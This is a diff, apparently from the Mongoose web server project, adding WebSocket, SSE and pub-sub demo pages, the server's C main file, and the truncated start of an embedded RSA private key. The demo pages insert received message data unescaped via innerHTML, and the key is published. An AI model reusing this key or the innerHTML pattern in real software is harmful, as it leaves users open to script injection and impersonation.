// Using secure websocket connection, wss://
|
||||||
|
var ws = new WebSocket('wss://echo.websocket.org');
|
||||||
|
var div = document.getElementById('events');
|
||||||
|
ws.onmessage = function(ev) {
|
||||||
|
var el = document.createElement('div');
|
||||||
|
el.innerHTML = 'websocket message: ' + ev.data;
|
||||||
|
div.appendChild(el);
|
||||||
|
// Keep only last 5 messages in the list
|
||||||
|
while (div.childNodes.length > 5) div.removeChild(div.firstChild);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Send random stuff to the websocket connection periodically.
|
||||||
|
// websocket server much echo that stuff back.
|
||||||
|
window.setInterval(function() {
|
||||||
|
var d = new Date();
|
||||||
|
ws.send(d.toString());
|
||||||
|
}, 1000);
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>App2 index page. Served locally from the
|
||||||
|
the proxy's filesystem.</h1>
|
||||||
|
<p>
|
||||||
|
Following div shows proxy forwarding of websocket connection, served by
|
||||||
|
ws://echo.websocket.org:
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div id="events"></div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title> proxy index </title>
|
||||||
|
<script type="text/javascript">
|
||||||
|
window.onload = function() {
|
||||||
|
var es = new EventSource("/api/sse");
|
||||||
|
var div = document.getElementById('events');
|
||||||
|
es.onmessage = function(ev) {
|
||||||
|
var el = document.createElement('div');
|
||||||
|
el.innerHTML = 'sse message: ' + ev.data;
|
||||||
|
div.appendChild(el);
|
||||||
|
// Keep only last 5 messages in the list
|
||||||
|
while (div.childNodes.length > 5) div.removeChild(div.firstChild);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1> proxy index page.</h1>
|
||||||
|
<ul>
|
||||||
|
<li><a href="app1">App1</a> - App1 root</li>
|
||||||
|
<li><a href="app2">App2</a> - App2 root</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h2>SSE pushes, done by separate threads at random times:</h2>
|
||||||
|
<div id="events"></div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<title>WebSocket Test</title>
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||||
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
background-color: #cde; margin: 0;
|
||||||
|
padding: 0; font: 14px Helvetica, Arial, sans-serif;
|
||||||
|
}
|
||||||
|
div.content {
|
||||||
|
width: 800px; margin: 2em auto; padding: 20px 50px;
|
||||||
|
background-color: #fff; border-radius: 1em;
|
||||||
|
}
|
||||||
|
#messages {
|
||||||
|
border: 2px solid #fec; border-radius: 1em;
|
||||||
|
height: 10em; overflow: scroll; padding: 0.5em 1em;
|
||||||
|
}
|
||||||
|
a:link, a:visited { color: #69c; text-decoration: none; }
|
||||||
|
@media (max-width: 700px) {
|
||||||
|
body { background-color: #fff; }
|
||||||
|
div.content {
|
||||||
|
width: auto; margin: 0 auto; border-radius: 0;
|
||||||
|
padding: 1em;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script language="javascript" type="text/javascript">
|
||||||
|
|
||||||
|
var rooms = [];
|
||||||
|
var ws = new WebSocket('ws://' + location.host + '/ws');
|
||||||
|
|
||||||
|
if (!window.console) { window.console = { log: function() {} } };
|
||||||
|
|
||||||
|
ws.onopen = function(ev) { console.log(ev); };
|
||||||
|
ws.onerror = function(ev) { console.log(ev); };
|
||||||
|
ws.onclose = function(ev) { console.log(ev); };
|
||||||
|
ws.onmessage = function(ev) {
|
||||||
|
console.log(ev);
|
||||||
|
var m = (ev.data || '').match(/^(\S+) (.+)/);
|
||||||
|
if (m[1] == 'id') {
|
||||||
|
document.getElementById('my_id').innerText = m[2];
|
||||||
|
} else if (m[1] == 'msg') {
|
||||||
|
var div = document.createElement('div');
|
||||||
|
div.innerHTML = m[2];
|
||||||
|
document.getElementById('messages').appendChild(div);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
document.getElementById('send_button').onclick = function(ev) {
|
||||||
|
var msg = document.getElementById('send_input').value;
|
||||||
|
ws.send('msg ' + msg);
|
||||||
|
};
|
||||||
|
document.getElementById('room_sel').onchange = function(ev) {
|
||||||
|
var roomName = this.value || '?';
|
||||||
|
ws.send('join ' + roomName);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="content">
|
||||||
|
<h1>Websocket PubSub Demonstration</h1>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
This page demonstrates how Mongoose web server could be used to implement
|
||||||
|
<a href="http://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern">
|
||||||
|
publish–subscribe pattern</a>. Open this page in several browser
|
||||||
|
windows. Each window initiates persistent
|
||||||
|
<a href="http://en.wikipedia.org/wiki/WebSocket">WebSocket</a>
|
||||||
|
connection with Mongoose, making each browser window a websocket client.
|
||||||
|
Join a room, send messages, and see messages sent by other clients.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
My ID: <b><span id="my_id"></b></span>
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Join room: <select id="room_sel">
|
||||||
|
<option value="">-- select room -- </option>
|
||||||
|
<option>A</option>
|
||||||
|
<option>B</option>
|
||||||
|
</select>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div id="messages">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
<input type="text" id="send_input" />
|
||||||
|
<button id="send_button">Send Message</button>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,507 @@
|
|||||||
|
// Copyright (c) 2004-2013 Sergey Lyubka
|
||||||
|
// Copyright (c) 2013-2014 Cesanta Software Limited
|
||||||
|
//
|
||||||
|
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
// of this software and associated documentation files (the "Software"), to deal
|
||||||
|
// in the Software without restriction, including without limitation the rights
|
||||||
|
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
// copies of the Software, and to permit persons to whom the Software is
|
||||||
|
// furnished to do so, subject to the following conditions:
|
||||||
|
//
|
||||||
|
// The above copyright notice and this permission notice shall be included in
|
||||||
|
// all copies or substantial portions of the Software.
|
||||||
|
//
|
||||||
|
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
// THE SOFTWARE.
|
||||||
|
|
||||||
|
#undef UNICODE // Use ANSI WinAPI functions
|
||||||
|
#undef _UNICODE // Use multibyte encoding on Windows
|
||||||
|
#define _MBCS // Use multibyte encoding on Windows
|
||||||
|
#define _WIN32_WINNT 0x500 // Enable MIIM_BITMAP
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
|
||||||
|
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
|
||||||
|
#undef WIN32_LEAN_AND_MEAN // Let windows.h always include winsock2.h
|
||||||
|
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <limits.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include <windows.h>
|
||||||
|
#include <direct.h> // For chdir()
|
||||||
|
#include <winsvc.h>
|
||||||
|
#include <shlobj.h>
|
||||||
|
|
||||||
|
#ifndef PATH_MAX
|
||||||
|
#define PATH_MAX MAX_PATH
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef S_ISDIR
|
||||||
|
#define S_ISDIR(x) ((x) & _S_IFDIR)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define DIRSEP '\\'
|
||||||
|
#define snprintf _snprintf
|
||||||
|
#define vsnprintf _vsnprintf
|
||||||
|
#define sleep(x) Sleep((x) * 1000)
|
||||||
|
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
|
||||||
|
#define SIGCHLD 0
|
||||||
|
typedef struct _stat file_stat_t;
|
||||||
|
#define stat(x, y) _stat((x), (y))
|
||||||
|
#else
|
||||||
|
typedef struct stat file_stat_t;
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef IOS
|
||||||
|
#include <ifaddrs.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define DIRSEP '/'
|
||||||
|
#define __cdecl
|
||||||
|
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
#define MAX_OPTIONS 100
|
||||||
|
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
|
||||||
|
|
||||||
|
#ifndef MVER
|
||||||
|
#define MVER MONGOOSE_VERSION
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static int exit_flag;
|
||||||
|
static char server_name[50]; // Set by init_server_name()
|
||||||
|
static char s_config_file[PATH_MAX]; // Set by process_command_line_arguments
|
||||||
|
static struct mg_server *server; // Set by start_mongoose()
|
||||||
|
static const char *s_default_document_root = ".";
|
||||||
|
static const char *s_default_listening_port = "8080";
|
||||||
|
static char **s_argv = { NULL };
|
||||||
|
|
||||||
|
static void set_options(char *argv[]);
|
||||||
|
|
||||||
|
#if !defined(CONFIG_FILE)
|
||||||
|
#define CONFIG_FILE "mongoose.conf"
|
||||||
|
#endif /* !CONFIG_FILE */
|
||||||
|
|
||||||
|
static void __cdecl signal_handler(int sig_num) {
|
||||||
|
// Reinstantiate signal handler
|
||||||
|
signal(sig_num, signal_handler);
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
|
||||||
|
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
|
||||||
|
// fails if SIGCHLD is ignored, making system() non-functional.
|
||||||
|
if (sig_num == SIGCHLD) {
|
||||||
|
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
|
||||||
|
} else
|
||||||
|
#endif
|
||||||
|
{ exit_flag = sig_num; }
|
||||||
|
}
|
||||||
|
|
||||||
|
static void vnotify(const char *fmt, va_list ap, int must_exit) {
|
||||||
|
char msg[200];
|
||||||
|
|
||||||
|
vsnprintf(msg, sizeof(msg), fmt, ap);
|
||||||
|
fprintf(stderr, "%s\n", msg);
|
||||||
|
|
||||||
|
if (must_exit) {
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void notify(const char *fmt, ...) {
|
||||||
|
va_list ap;
|
||||||
|
va_start(ap, fmt);
|
||||||
|
vnotify(fmt, ap, 0);
|
||||||
|
va_end(ap);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void die(const char *fmt, ...) {
|
||||||
|
va_list ap;
|
||||||
|
va_start(ap, fmt);
|
||||||
|
vnotify(fmt, ap, 1);
|
||||||
|
va_end(ap);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void show_usage_and_exit(void) {
|
||||||
|
const char **names;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
|
||||||
|
MVER, __DATE__);
|
||||||
|
fprintf(stderr, "Usage:\n");
|
||||||
|
#ifndef MONGOOSE_NO_AUTH
|
||||||
|
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
|
||||||
|
#endif
|
||||||
|
fprintf(stderr, " mongoose [config_file]\n");
|
||||||
|
fprintf(stderr, " mongoose [-option value ...]\n");
|
||||||
|
fprintf(stderr, "\nOPTIONS:\n");
|
||||||
|
|
||||||
|
names = mg_get_valid_option_names();
|
||||||
|
for (i = 0; names[i] != NULL; i += 2) {
|
||||||
|
fprintf(stderr, " -%s %s\n",
|
||||||
|
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
|
||||||
|
}
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define EV_HANDLER NULL
|
||||||
|
|
||||||
|
static char *sdup(const char *str) {
|
||||||
|
char *p;
|
||||||
|
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
|
||||||
|
strcpy(p, str);
|
||||||
|
}
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void set_option(char **options, const char *name, const char *value) {
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for (i = 0; i < MAX_OPTIONS - 3; i++) {
|
||||||
|
if (options[i] == NULL) {
|
||||||
|
options[i] = sdup(name);
|
||||||
|
options[i + 1] = sdup(value);
|
||||||
|
options[i + 2] = NULL;
|
||||||
|
break;
|
||||||
|
} else if (!strcmp(options[i], name)) {
|
||||||
|
free(options[i + 1]);
|
||||||
|
options[i + 1] = sdup(value);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i == MAX_OPTIONS - 3) {
|
||||||
|
die("%s", "Too many options specified");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void process_command_line_arguments(char *argv[], char **options) {
|
||||||
|
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)],
|
||||||
|
*p, cpath[PATH_MAX];
|
||||||
|
FILE *fp = NULL;
|
||||||
|
size_t i, cmd_line_opts_start = 1, line_no = 0;
|
||||||
|
|
||||||
|
// Should we use a config file ?
|
||||||
|
if (argv[1] != NULL && argv[1][0] != '-') {
|
||||||
|
snprintf(cpath, sizeof(cpath), "%s", argv[1]);
|
||||||
|
cmd_line_opts_start = 2;
|
||||||
|
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
|
||||||
|
// No command line flags specified. Look where binary lives
|
||||||
|
snprintf(cpath, sizeof(cpath), "%s", CONFIG_FILE);
|
||||||
|
} else {
|
||||||
|
snprintf(cpath, sizeof(cpath), "%.*s%c%s",
|
||||||
|
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
|
||||||
|
}
|
||||||
|
abs_path(cpath, s_config_file, sizeof(s_config_file));
|
||||||
|
|
||||||
|
fp = fopen(s_config_file, "r");
|
||||||
|
|
||||||
|
// If config file was set in command line and open failed, die
|
||||||
|
if (cmd_line_opts_start == 2 && fp == NULL) {
|
||||||
|
die("Cannot open config file %s: %s", s_config_file, strerror(errno));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load config file settings first
|
||||||
|
if (fp != NULL) {
|
||||||
|
fprintf(stderr, "Loading config file %s\n", s_config_file);
|
||||||
|
|
||||||
|
// Loop over the lines in config file
|
||||||
|
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||||
|
line_no++;
|
||||||
|
|
||||||
|
// Ignore empty lines and comments
|
||||||
|
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
|
||||||
|
if (line[i] == '#' || line[i] == '\0') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
|
||||||
|
printf("%s: line %d is invalid, ignoring it:\n %s",
|
||||||
|
s_config_file, (int) line_no, line);
|
||||||
|
} else {
|
||||||
|
set_option(options, opt, val);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(fp);
|
||||||
|
}
|
||||||
|
|
||||||
|
// If we're under MacOS and started by launchd, then the second
|
||||||
|
// argument is process serial number, -psn_.....
|
||||||
|
// In this case, don't process arguments at all.
|
||||||
|
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
|
||||||
|
// Handle command line flags.
|
||||||
|
// They override config file and default settings.
|
||||||
|
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
|
||||||
|
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
|
||||||
|
show_usage_and_exit();
|
||||||
|
}
|
||||||
|
set_option(options, &argv[i][1], argv[i + 1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void init_server_name(void) {
|
||||||
|
const char *descr = "";
|
||||||
|
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s%s",
|
||||||
|
MVER, descr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int is_path_absolute(const char *path) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
return path != NULL &&
|
||||||
|
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
|
||||||
|
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
|
||||||
|
#else
|
||||||
|
return path != NULL && path[0] == '/';
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static char *get_option(char **options, const char *option_name) {
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for (i = 0; options[i] != NULL; i++)
|
||||||
|
if (!strcmp(options[i], option_name))
|
||||||
|
return options[i + 1];
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *serving_thread_func(void *param) {
|
||||||
|
struct mg_server *srv = (struct mg_server *) param;
|
||||||
|
while (exit_flag == 0) {
|
||||||
|
mg_poll_server(srv, 1000);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int path_exists(const char *path, int is_dir) {
|
||||||
|
file_stat_t st;
|
||||||
|
return path == NULL || (stat(path, &st) == 0 &&
|
||||||
|
((S_ISDIR(st.st_mode) ? 1 : 0) == is_dir));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void verify_existence(char **options, const char *name, int is_dir) {
|
||||||
|
const char *path = get_option(options, name);
|
||||||
|
if (!path_exists(path, is_dir)) {
|
||||||
|
notify("Invalid path for %s: [%s]: (%s). Make sure that path is either "
|
||||||
|
"absolute, or it is relative to mongoose executable.",
|
||||||
|
name, path, strerror(errno));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void set_absolute_path(char *options[], const char *option_name) {
|
||||||
|
char path[PATH_MAX], abs[PATH_MAX], *option_value;
|
||||||
|
const char *p;
|
||||||
|
|
||||||
|
// Check whether option is already set
|
||||||
|
option_value = get_option(options, option_name);
|
||||||
|
|
||||||
|
// If option is already set and it is an absolute path,
|
||||||
|
// leave it as it is -- it's already absolute.
|
||||||
|
if (option_value != NULL && !is_path_absolute(option_value)) {
|
||||||
|
// Not absolute. Use the directory where mongoose executable lives
|
||||||
|
// be the relative directory for everything.
|
||||||
|
// Extract mongoose executable directory into path.
|
||||||
|
if ((p = strrchr(s_config_file, DIRSEP)) == NULL) {
|
||||||
|
getcwd(path, sizeof(path));
|
||||||
|
} else {
|
||||||
|
snprintf(path, sizeof(path), "%.*s", (int) (p - s_config_file),
|
||||||
|
s_config_file);
|
||||||
|
}
|
||||||
|
|
||||||
|
strncat(path, "/", sizeof(path) - 1);
|
||||||
|
strncat(path, option_value, sizeof(path) - 1);
|
||||||
|
|
||||||
|
// Absolutize the path, and set the option
|
||||||
|
abs_path(path, abs, sizeof(abs));
|
||||||
|
set_option(options, option_name, abs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifndef MONGOOSE_NO_AUTH
|
||||||
|
int modify_passwords_file(const char *fname, const char *domain,
|
||||||
|
const char *user, const char *pass) {
|
||||||
|
int found;
|
||||||
|
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
|
||||||
|
FILE *fp, *fp2;
|
||||||
|
|
||||||
|
found = 0;
|
||||||
|
fp = fp2 = NULL;
|
||||||
|
|
||||||
|
// Regard empty password as no password - remove user record.
|
||||||
|
if (pass != NULL && pass[0] == '\0') {
|
||||||
|
pass = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
|
||||||
|
|
||||||
|
// Create the file if does not exist
|
||||||
|
if ((fp = fopen(fname, "a+")) != NULL) {
|
||||||
|
fclose(fp);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open the given file and temporary file
|
||||||
|
if ((fp = fopen(fname, "r")) == NULL) {
|
||||||
|
return 0;
|
||||||
|
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
|
||||||
|
fclose(fp);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy the stuff to temporary file
|
||||||
|
while (fgets(line, sizeof(line), fp) != NULL) {
|
||||||
|
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!strcmp(u, user) && !strcmp(d, domain)) {
|
||||||
|
found++;
|
||||||
|
if (pass != NULL) {
|
||||||
|
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
|
||||||
|
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
fprintf(fp2, "%s", line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// If new user, just add it
|
||||||
|
if (!found && pass != NULL) {
|
||||||
|
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
|
||||||
|
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close files
|
||||||
|
fclose(fp);
|
||||||
|
fclose(fp2);
|
||||||
|
|
||||||
|
// Put the temp file in place of real file
|
||||||
|
remove(fname);
|
||||||
|
rename(tmp, fname);
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void start_mongoose(int argc, char *argv[]) {
|
||||||
|
s_argv = argv;
|
||||||
|
if ((server = mg_create_server(NULL, EV_HANDLER)) == NULL) {
|
||||||
|
die("%s", "Failed to start Mongoose.");
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifndef MONGOOSE_NO_AUTH
|
||||||
|
// Edit passwords file if -A option is specified
|
||||||
|
if (argc > 1 && !strcmp(argv[1], "-A")) {
|
||||||
|
if (argc != 6) {
|
||||||
|
show_usage_and_exit();
|
||||||
|
}
|
||||||
|
exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
|
||||||
|
EXIT_SUCCESS : EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Show usage if -h or --help options are specified
|
||||||
|
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
|
||||||
|
show_usage_and_exit();
|
||||||
|
}
|
||||||
|
set_options(argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void set_options(char *argv[]) {
|
||||||
|
char *options[MAX_OPTIONS];
|
||||||
|
int i;
|
||||||
|
|
||||||
|
options[0] = NULL;
|
||||||
|
set_option(options, "document_root", s_default_document_root);
|
||||||
|
set_option(options, "listening_port", s_default_listening_port);
|
||||||
|
|
||||||
|
// Update config based on command line arguments
|
||||||
|
process_command_line_arguments(argv, options);
|
||||||
|
|
||||||
|
// Make sure we have absolute paths for files and directories
|
||||||
|
// https://github.com/valenok/mongoose/issues/181
|
||||||
|
set_absolute_path(options, "document_root");
|
||||||
|
set_absolute_path(options, "dav_auth_file");
|
||||||
|
set_absolute_path(options, "cgi_interpreter");
|
||||||
|
set_absolute_path(options, "access_log_file");
|
||||||
|
set_absolute_path(options, "global_auth_file");
|
||||||
|
set_absolute_path(options, "ssl_certificate");
|
||||||
|
|
||||||
|
if (!path_exists(get_option(options, "document_root"), 1)) {
|
||||||
|
set_option(options, "document_root", s_default_document_root);
|
||||||
|
set_absolute_path(options, "document_root");
|
||||||
|
notify("Setting document_root to [%s]",
|
||||||
|
mg_get_option(server, "document_root"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Make extra verification for certain options
|
||||||
|
verify_existence(options, "document_root", 1);
|
||||||
|
verify_existence(options, "cgi_interpreter", 0);
|
||||||
|
verify_existence(options, "ssl_certificate", 0);
|
||||||
|
|
||||||
|
for (i = 0; options[i] != NULL; i += 2) {
|
||||||
|
const char *msg = mg_set_option(server, options[i], options[i + 1]);
|
||||||
|
if (msg != NULL) {
|
||||||
|
notify("Failed to set option [%s] to [%s]: %s",
|
||||||
|
options[i], options[i + 1], msg);
|
||||||
|
if (!strcmp(options[i], "listening_port")) {
|
||||||
|
mg_set_option(server, "listening_port", s_default_listening_port);
|
||||||
|
notify("Setting %s to [%s]", options[i], s_default_listening_port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(options[i]);
|
||||||
|
free(options[i + 1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Change current working directory to document root. This way,
|
||||||
|
// scripts can use relative paths.
|
||||||
|
chdir(mg_get_option(server, "document_root"));
|
||||||
|
|
||||||
|
// Add an ability to pass listening socket to mongoose
|
||||||
|
{
|
||||||
|
const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
|
||||||
|
if (env != NULL && atoi(env) > 0 ) {
|
||||||
|
mg_set_listening_socket(server, atoi(env));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup signal handler: quit on Ctrl-C
|
||||||
|
signal(SIGTERM, signal_handler);
|
||||||
|
signal(SIGINT, signal_handler);
|
||||||
|
#ifndef _WIN32
|
||||||
|
signal(SIGCHLD, signal_handler);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
init_server_name();
|
||||||
|
start_mongoose(argc, argv);
|
||||||
|
printf("%s serving [%s] on port %s\n",
|
||||||
|
server_name, mg_get_option(server, "document_root"),
|
||||||
|
mg_get_option(server, "listening_port"));
|
||||||
|
fflush(stdout); // Needed, Windows terminals might not be line-buffered
|
||||||
|
serving_thread_func(server);
|
||||||
|
printf("Exiting on signal %d ...", exit_flag);
|
||||||
|
fflush(stdout);
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
printf("%s\n", " done.");
|
||||||
|
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIIEpQIBAAKCAQEAtafk8OvgJX6SLEtnwRmE1oEmk3zsDD0UGW+qD+DtIPOb37xR
|
||||||
|
NIpOGFU8GXAn2GmIIkk7L53bnyh08osTnJKnhprBMDIpwZoMp4HECH4Dk0M7H2S3
|
||||||
|
CMJRT+wYG4GJZt3Tp2U5y9T+T+4YMGCVXOOC7MiEq1nA/iQnljhhGJO61yVgDb/d
|
||||||
|
asnI6igrDQUY30NHIBdtws2s+ysWLYh/LugLZurEtvnzwnt/qQoe7UF/MW51gvu7
|
||||||
|
ywfSvxRksCKZKOFjLIMcEmkReA28Y+mhfKT1bjU6Gte2XZj+5f2TqYvCO+n/d5dY
|
||||||
|
41/Nuk9ujjo/G19dUUOZu3OLL59Q9Rg+6j1FVwIDAQABAoIBAQCE7iW0v4c5KNQi
|
||||||
|
odN9FQWGSuBF0YaStid9LZ+PGxOrp1kLcq0h+4uGdukR3GbsEN3T6S7se2H5qAtc
|
||||||
|
abWiQBdjgt+YOz0fNXHJKkafyEcpfmtHX9YpDLmf+K7zgelgYze9KXAP3v9y0lLV
|
||||||
|
I/hpDvwB9gJPudBmqWJmpT84UvLI+I1HtJ1Q3EgMxFSlx+TrGxqIQmYCaXIIZqdk
|
||||||
|
c1B2neQLGZQ1Dbulr7/KYOkkcPkAQKRY73WHvhhN/0LsD25U6P00etz1VQmLBcWe
|
||||||
|
Y9RaCBD7D3UqSat6ZABv7mtFp8USAEy4a8clayQRdolGTb+gxBUnEMDtRzwcE4zF
|
||||||
|
uh/SGFEBAoGBAPBU/19v82Jqy41D8nqjTN6WXRX37kN1ElS5yvstIdO3oHEywll8
|
||||||
|
tV8Bm+L0ODn/dOWmCZxKWO3hwr8KoEgk8ouv/vDsMRBuwtqZmmdtue5kPEnw3kMB
|
||||||
|
F6RR4Pd9dqmwbF/s4NwpIVFaQEZE6JkhEsXHAJSivKm4m0MadSfm6F5BAoGBAMF/
|
||||||
|
oArSDqsz5BvTZ3pbhUxIMY98IR7jf1ewjsgpthqZFhTggD0KxVcfUYSzg3BXUkl9
|
||||||
|
NFKPQgfOfgW2fiEe999/CRPB0lTtlMybs3L+gb74SmUWxkVmm4mjhfnPoh9AKga2
|
||||||
|
